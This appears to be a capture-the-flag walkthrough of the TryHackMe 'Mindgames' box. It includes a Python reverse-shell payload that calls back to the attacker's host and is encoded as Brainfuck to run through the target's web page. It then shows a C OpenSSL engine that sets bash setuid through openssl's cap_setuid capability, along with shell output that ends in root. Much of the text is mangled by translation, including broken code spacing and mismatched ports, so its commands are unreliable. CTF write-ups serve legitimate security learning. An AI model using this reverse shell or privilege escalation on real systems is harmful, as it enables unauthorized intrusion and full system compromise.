disclaimer

The hosts infiltrated in this article are legally authorized. The tools and methods used in this article are only for learning and communication. Please do not use the tools and infiltration ideas used in this article for any illegal purposes. I am not responsible for any consequences arising therefrom, nor for any misuse or damage caused.

Service to detect

Chrysene ─(rootπŸ’€kali)-[~/tryhackme/Mindgames] β”œ ─# nmap-sv -pn 10.10.170.96 Host discovery disabled (-pn). All addresses will Be marked 'up' and scan times will be slower. Starting Nmap 7.91 (https://nmap.org) at 2021-11-26 03:13 EST Nmap scan Report for 10.10.170.96 Host is up (latency). Not shown: 998 Closed ports PORT STATE SERVICE VERSION 22/ TCP open SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; Protocol 2.0) 80/ TCP Open HTTP Golang NET/HTTP Server (GO-IPfs JSON-RPC or InfluxDB API) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) Scanned in 66.58 secondsCopy the code

Port 80 shows a strange programming language, input box, look up this programming language called Brainfuck

Sometimes those bad ideas get turned into a CTF box. I'm so sorry. Ever thought that programming was a little too easy? Well, I have just the product for you. Look at the example code below, then give it a go yourself! Like it? Purchase a license today for the low, low price of 0.009BTC/yr! Hello, World +[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++.. +++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++. Fibonacci [-- -- -- -- -- - > + <) > -. +. +. [+ <] > -- -- - >. + + + - > + + > <]. [-- -- <] > > + + + + + +. [+ + - > <) > -. + + [+ + > - <) > +. - [+ + + <] > -- -- -- >. > + + + + + + + + + +. [+ + + - > <) > + +... - [+ + - > <) > - - - -. [+ <] > -- -- - >. + [-- -- -- -- -- > + <) > +. - [+ + + + + - > <) > -. - [+ + - > <) >. +. + / - > + <) > +. [-- -- > + + + > <] +. + + + + + + + + +. > + + + + + + + + + +. [- > + + > + <] + +... [-- -- -- -- -- -- -- - > + + <) >. -- -- -- -- -- -- -- -- -- -- -- -- --. [- > + <) > -. +. -. -. - [- >. + + + + + > <] - [- > + + + > <] +. > + + + + + + + + + +. [+ + + - > <) > + +... [-- -- -- -- -- -- -- - > + + <) >. -- -- -- -- -- -- -- -- -- -- -- -- --. [- > + <) > -. +. -. -. - [+ + + + + - > <) >. + + + - > + + > <]. [-- -- <] > > + + + + + +. [+ + - > <) > -. [-- -- -- -- -- > + + > <] + . + + + +. -- -- -- -- -- -- -- -, + +. - [+ + + + + - > <) >. [-- -- <] > > + + + + + +. [+ + - > <) > -. [-- -- -- -- -- > + + > <] +. + + + + +.. -- -- -- -- -- -- -- -- -- > + + + + + + + + + +... [- > + + + + + > <]. + + + + + + + + +. + + +. [-- -- > + + + + + + + + > <]. - [+ + - > > <] - [- > + <) > -. - [+ + - > <) >. + + + + +. - [+ + + + + - > <) > -. - [-- -- -- -- -- > + + <) >. + + + + + + / - > <) >. + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -. -- - >. + + + > <] - + + + + + + + + +. - - - - - - - -. - [+ + + <] > -- -- -- >. > + + + + + + + + + +. [+ + + - > <) > + +... [-- -- > + + + + + + + > <]. + +. -- -- -- -- -- -- -- -- --. + + + + +. + + + + + +. + / - > + <) > +. -- -- -- -- -- - > + + > <]. [-- -- <] > > + + + + + +. -- - [+ + + - > <) >. [-- -- -- -- -- > + + > <] -. >++++++++++. Try before you buy.Copy the code

Then I did a Google search and found a site where you can convert Brainfuck and Python. That’s easy, we just need to write a Python bounce shell to get the initial shell

We use the following payload:

import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); S.c onnect ((" 10.13.21.169 ", 4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")Copy the code

Translated into Brainfuck:

+ + + + + + + + + + [> > + + + + + + + + + + + > > + + + + + + + + + + < < < < -] > > > >. + + + + + + + + +. + + +. - + + +. + +. < < + +. > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + + + + + + + + + + + +. > > -- -- -- -- - + + + +. < <... > > -- -- --. + + + +. + + + + +. < -- -- -- -- -- -- -- -- -- -- - > -- -- -- -- -- - < + +. > -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + +. > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < -- -- -- -- -- - > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- -. + + + + + + + + + + + + + + +. < < + + + + + +. >. + + + + + + + + +. > -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - "+ + +. + + + + +. -- -- -- -- -- -- -- -- - > -- -- -- -- -- -- -- -- -- -- - < < -. > > + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + +. > + + + + + + + + + + + + + +. -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. + + + + + + + + + + + + + + + + + + + +. -- -- -- -- -- -- -- -- -- -- -- --. +. -. -- -- -- -- -- -- -- -- -- -- -- -- -, -, + + + + + + + + + + + +. < -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > > - < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + +. -.. . -- -- -- -- -- -- -- -- -- -. + + + + + + + + + + + + + + + + +. < < -- -- -- -- -- -.. -- -- -- -- -- - + + + + + + + + + + + + + + +. - -.. + + + + +. -- -- -- -- - + + + +. - -.. + + + + + + + +. + + +. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + + + +. + + + + + + + +. -. + +. -. - -- -- -- -- -- -- -- -.. + + + + + + + + + + + + + + + + + +. > > -- -- -- -- - + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +. -- -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < -- -- -- -- -- -. +. + + +. + + + +. -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > >. + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- -. > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +. -- -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < - -- -- -- -- --. +. + + +. + + + + +. -- -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > >. + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +.... -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < -- -- -- -- -- -. +. + + +. + + + + + +. -- -- -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. . > > +. + + + + + + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- - -- -- -. -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -- -- < < -- -- -- -- -- - -- -- -- -- -- - + + + + + + + + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + +. + + + + +. < <... > > + + + + +. -- -- -- -- -- -- -- -- -- -- - < < -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + +.Copy the code

Execute the Brainfuck code above on the page and get the bounce shell

β”œ ──(rootπŸ’€kali)-[~/tryhackme/Mindgames] β”œ ─# nc-lnVP 785 85 β¨― listening on [any] 785... Connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57554 $id ID UID =1001(mindgames) GID =1001(mindgames) groups=1001(mindgames) $ whoami whoami mindgamesCopy the code

Get user.txt in /home/mindgames

We can’t see sudo privileges without a password

Right to mention

Openssl has setuID capability:

Files with capabilities (limited to 50):
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep

Copy the code

We prepare the following code, save it as priv.c, refer to here

#include <openssl/engine.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> static const char *engine_id = "test"; static const char *engine_name = "hope it works"; static int bind(ENGINE *e, const char *id) { int ret = 0; if (! ENGINE_set_id(e, engine_id)) { fprintf(stderr, "ENGINE_set_id failed\n"); goto end; } if (! ENGINE_set_name(e, engine_name)) { printf("ENGINE_set_name failed\n"); goto end; } setuid(0); setgid(0); system("chmod +s /bin/bash"); system("echo Complete!" ); ret = 1; end: return ret; } IMPLEMENT_DYNAMIC_BIND_FN(bind) IMPLEMENT_DYNAMIC_CHECK_FN()Copy the code

The above code basically turns bash into a SUID file

Compile to the priv.so file

β”Œ ─ ─ (root πŸ’€ kali) - ~ / tryhackme/Mindgames β”” ─ # GCC -c -fpic priv. 1 c - o priv β¨― β”Œ ─ ─ (root πŸ’€ kali) - ~ / tryhackme/Mindgames β”” ─ # gcc -shared -o priv.so -lcrypto privCopy the code

To the target

Run the following command:

/usr/bin/openssl req -engine /tmp/priv.so

The setuid command has been executed, but you need to open another shell, bounce a new shell on the Web, and run bash -p to invoke rights to root

β”œ ─(rootπŸ’€kali)-[~/tryhackme/Mindgames] └─ [~/tryhackme/Mindgames] imp. Connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57578 $python3 -c "__import__('pty'). Spawn ('/bin/bash')" Python3 -c "__import__('pty'). Spawn ('/bin/bash')" bash-4.4$bash -p bash -p bash-4.4# id id uid=1001(mindgames) Gid =1001(mindgames) euid=0(root) egid=0(root) groups=0(root),1001(mindgames) bash-4.4# whoami whoami root bash-4.4# cat /root/root.txt cat /root/root.txtCopy the code